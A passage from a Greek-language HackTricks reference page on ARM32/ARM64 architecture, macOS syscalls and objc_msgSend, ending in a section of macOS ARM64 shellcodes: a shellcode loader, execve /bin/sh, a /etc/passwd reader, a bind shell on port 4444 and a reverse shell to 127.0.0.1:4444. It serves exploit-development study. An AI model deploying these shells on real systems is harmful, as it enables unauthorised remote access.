και μπορεί να αλλάζει μεταξύ τους μέσω interworking
.
Προνομιούχα 64-bit προγράμματα μπορούν να προγραμματίσουν την εκτέλεση προγραμμάτων 32-bit εκτελώντας μια μεταφορά επιπέδου εξαίρεσης στο χαμηλότερο προνομιούχο 32-bit.
Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με χαμηλότερο επίπεδο εξαίρεσης (για παράδειγμα ένα πρόγραμμα 64-bit σε EL1 που ενεργοποιεί ένα πρόγραμμα σε EL0). Αυτό γίνεται ρυθμίζοντας το bit 4 του ειδικού καταχωρητή SPSR_ELx
στο 1 όταν το νήμα διεργασίας AArch32
είναι έτοιμο για εκτέλεση και το υπόλοιπο του SPSR_ELx
αποθηκεύει το CPSR των προγραμμάτων AArch32
. Στη συνέχεια, η διαδικασία με προνόμια καλεί την εντολή ERET
ώστε ο επεξεργαστής να μεταβεί σε AArch32
εισερχόμενος σε A32 ή T32 ανάλογα με το CPSR.
Το interworking
γίνεται χρησιμοποιώντας τα bit J και T του CPSR. J=0
και T=0
σημαίνει A32
και J=0
και T=1
σημαίνει T32. Αυτό ουσιαστικά σημαίνει τη ρύθμιση του χαμηλότερου bit στο 1 για να υποδειχθεί ότι το σύνολο εντολών είναι T32.
Αυτό ρυθμίζεται κατά τις interworking branch instructions, αλλά μπορεί επίσης να ρυθμιστεί απευθείας με άλλες εντολές όταν το PC ορίζεται ως ο καταχωρητής προορισμού. Παράδειγμα:
Another example:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
Registers
Υπάρχουν 16 καταχωρητές 32-bit (r0-r15). Από r0 έως r14 μπορούν να χρησιμοποιηθούν για οποιαδήποτε λειτουργία, ωστόσο κάποιοι συνήθως επιφυλάσσονται:
r15
: Program counter (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στο A32 current + 8, στο T32 current + 4.r11
: Frame Pointerr12
: Intra-procedural call registerr13
: Stack Pointer (Σημείωση: η στοίβα είναι πάντα στοιχισμένη στα 16 bytes)r14
: Link Register
Επιπλέον, οι καταχωρητές αντιγράφονται σε banked registries
. Πρόκειται για θέσεις που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας γρήγορο context switching στην επεξεργασία εξαιρέσεων και σε privileged operations, ώστε να αποφεύγεται η ανάγκη χειροκίνητης αποθήκευσης και επαναφοράς των καταχωρητών κάθε φορά.
Αυτό γίνεται αποθηκεύοντας την κατάσταση του επεξεργαστή από το CPSR
στο SPSR
της λειτουργίας επεξεργαστή στην οποία λαμβάνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το CPSR
αποκαθίσταται από το SPSR
.
CPSR - Καταχωρητής Τρέχουσας Κατάστασης Προγράμματος
Στο AArch32 ο CPSR λειτουργεί παρόμοια με το PSTATE
στο AArch64 και αποθηκεύεται επίσης στο SPSR_ELx
όταν λαμβάνεται μια εξαίρεση για να αποκατασταθεί αργότερα η εκτέλεση:
.png)
Τα πεδία χωρίζονται σε κάποιες ομάδες:
- Application Program Status Register (APSR): Σημαίες αριθμητικών πράξεων και προσπελάσιμο από EL0
- Execution State Registers: Συμπεριφορά διεργασίας (διαχειρίζεται από το OS).
Καταχωρητής Κατάστασης Εφαρμογής (APSR)
- Οι
N
,Z
,C
,V
σημαίες (όπως στο AArch64) - Η
Q
σημαία: Θέτεται σε 1 κάθε φορά που συμβαίνει κορεσμός ακεραίων κατά την εκτέλεση μιας ειδικής saturating arithmetic instruction. Μόλις τεθεί σε1
, διατηρεί την τιμή μέχρι να μηδενιστεί χειροκίνητα. Επιπλέον, δεν υπάρχει εντολή που να ελέγχει την τιμή της έμμεσα — πρέπει να διαβαστεί χειροκίνητα. GE
(Greater than or equal) σημαίες: Χρησιμοποιούνται σε SIMD (Single Instruction, Multiple Data) operations, όπως "parallel add" και "parallel subtract". Αυτές οι ενέργειες επιτρέπουν την επεξεργασία πολλαπλών δεδομένων σε μία εντολή.
Για παράδειγμα, η εντολή UADD8
προσθέτει τέσσερα ζεύγη bytes (από δύο 32-bit operands) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν 32-bit καταχωρητή. Έπειτα θέτει τις GE
σημαίες στο APSR
βάσει αυτών των αποτελεσμάτων. Κάθε GE σημαία αντιστοιχεί σε μία από τις προσθήκες byte, υποδεικνύοντας αν η πρόσθεση για εκείνο το ζεύγος byte προκάλεσε υπερχείλιση.
Η εντολή SEL
χρησιμοποιεί αυτές τις GE σημαίες για να εκτελέσει υπό όρους ενέργειες.
Καταχωρητές Κατάστασης Εκτέλεσης
- Τα bit
J
καιT
: ΤοJ
πρέπει να είναι 0 και αν τοT
είναι 0 χρησιμοποιείται το instruction set A32, ενώ αν είναι 1 χρησιμοποιείται το T32. - IT Block State Register (
ITSTATE
): Είναι τα bits 10-15 και 25-26. Αποθηκεύουν συνθήκες για εντολές μέσα σε μια ομάδα με πρόθεμαIT
. - Το bit
E
: Δηλώνει την διάταξη byte (endianness). - Mode και Exception Mask Bits (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το 5ο bit δείχνει αν το πρόγραμμα τρέχει ως 32bit (1) ή 64bit (0). Τα υπόλοιπα 4 αντιπροσωπεύουν τη λειτουργία εξαίρεσης που χρησιμοποιείται (όταν συμβαίνει μια εξαίρεση και αυτή χειρίζεται). Ο αριθμός που είναι ρυθμισμένος υποδεικνύει την τρέχουσα προτεραιότητα σε περίπτωση που ενεργοποιηθεί άλλη εξαίρεση ενώ αυτή επεξεργάζεται.
.png)
AIF
: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bitsA
,I
,F
. Αν τοA
είναι 1 σημαίνει ότι θα προκληθούν asynchronous aborts. ΤοI
ρυθμίζει την ανταπόκριση σε εξωτερικά hardware Interrupts Requests (IRQs). ΤοF
σχετίζεται με Fast Interrupt Requests (FIRs).
macOS
BSD syscalls
Δείτε syscalls.master ή τρέξτε cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h
. Τα BSD syscalls θα έχουν x16 > 0.
Mach Traps
Δείτε στο syscall_sw.c τον mach_trap_table
και στο mach_traps.h τα prototypes. Ο μέγιστος αριθμός Mach traps είναι MACH_TRAP_TABLE_COUNT
= 128. Οι Mach traps θα έχουν x16 < 0, οπότε πρέπει να καλείτε τους αριθμούς από τη προηγούμενη λίστα με ένα minus: _kernelrpc_mach_vm_allocate_trap
είναι -10
.
Μπορείτε επίσης να ελέγξετε το libsystem_kernel.dylib
σε έναν disassembler για να βρείτε πώς να καλείτε αυτές (και τις BSD) syscalls:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Note that Ida and Ghidra can also decompile specific dylibs from the cache just by passing the cache.
tip
Μερικές φορές είναι πιο εύκολο να ελέγξετε τον decompiled κώδικα από libsystem_kernel.dylib
παρά να ελέγξετε τον source code, επειδή ο κώδικας πολλών syscalls (BSD και Mach) παράγεται μέσω scripts (δείτε τα σχόλια στο source code), ενώ στο dylib μπορείτε να βρείτε τι καλείται.
machdep calls
XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζονται machine dependent. Οι αριθμοί αυτών των κλήσεων εξαρτώνται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί εγγυώνται ότι θα παραμείνουν σταθεροί.
comm page
Πρόκειται για μια kernel-owned memory page που γίνεται mapping στο address space κάθε διεργασίας χρήστη. Σκοπός της είναι να κάνει τη μετάβαση από το user mode στο kernel space ταχύτερη από τη χρήση syscalls για υπηρεσίες του kernel που χρησιμοποιούνται τόσο συχνά ώστε αυτή η μετάβαση θα ήταν πολύ αναποτελεσματική.
Για παράδειγμα η κλήση gettimeofdate
διαβάζει την τιμή του timeval
απευθείας από την comm page.
objc_msgSend
Είναι εξαιρετικά συνηθισμένο να βρείτε αυτή τη συνάρτηση να χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η συνάρτηση επιτρέπει την κλήση μιας μεθόδου ενός Objective-C αντικειμένου.
Parameters (more info in the docs):
- x0: self -> Δείκτης προς το αντικείμενο
- x1: op -> Selector της μεθόδου
- x2... -> Τα υπόλοιπα ορίσματα της κληθείσας μεθόδου
Άρα, αν βάλετε breakpoint πριν από το branch προς αυτή τη συνάρτηση, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από NSConcreteTask
που θα εκτελέσει μια εντολή):
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
tip
Ορίζοντας τη μεταβλητή περιβάλλοντος NSObjCMessageLoggingEnabled=1
είναι δυνατό να καταγράψετε πότε καλείται αυτή η συνάρτηση σε ένα αρχείο όπως /tmp/msgSends-pid
.
Επιπλέον, ορίζοντας OBJC_HELP=1
και καλώντας οποιοδήποτε binary μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που θα μπορούσατε να χρησιμοποιήσετε για να καταγράψετε πότε συμβαίνουν ορισμένες ενέργειες Objc-C.
Όταν καλείται αυτή η συνάρτηση, χρειάζεται να εντοπιστεί η κληθείσα μέθοδος του υποδεικνυόμενου αντικειμένου — γι' αυτό γίνονται διάφορες αναζητήσεις:
- Εκτέλεσε optimistic cache lookup:
- Αν επιτύχει, τελείωσε
- Απόκτησε runtimeLock (read)
- Αν (realize && !cls->realized) realize class
- Αν (initialize && !cls->initialized) initialize class
- Δοκίμασε το cache της κλάσης:
- Αν επιτύχει, τελείωσε
- Δοκίμασε τη λίστα μεθόδων της κλάσης:
- Αν βρεθεί, γέμισε το cache και τελείωσε
- Δοκίμασε το cache της υπερκλάσης:
- Αν επιτύχει, τελείωσε
- Δοκίμασε τη λίστα μεθόδων της υπερκλάσης:
- Αν βρεθεί, γέμισε το cache και τελείωσε
- Αν (resolver) δοκίμασε τον method resolver, και επανάλαβε από το class lookup
- Αν εξακολουθεί να βρίσκεται εδώ (= όλα τα υπόλοιπα απέτυχαν), δοκίμασε τον forwarder
Shellcodes
Για να μεταγλωττίσετε:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Για να εξαγάγετε τα bytes:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Για νεότερα macOS:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C code για δοκιμή του shellcode
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
Shell
Λήφθηκε από here και εξηγείται.
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
Ανάγνωση με cat
Ο στόχος είναι να εκτελεστεί execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
, οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (που στη μνήμη αυτό σημαίνει μια στοίβα διευθύνσεων).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Εκτέλεση εντολής με sh από fork ώστε η κύρια διεργασία να μην τερματιστεί
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell από https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s σε port 4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
Από https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell σε 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.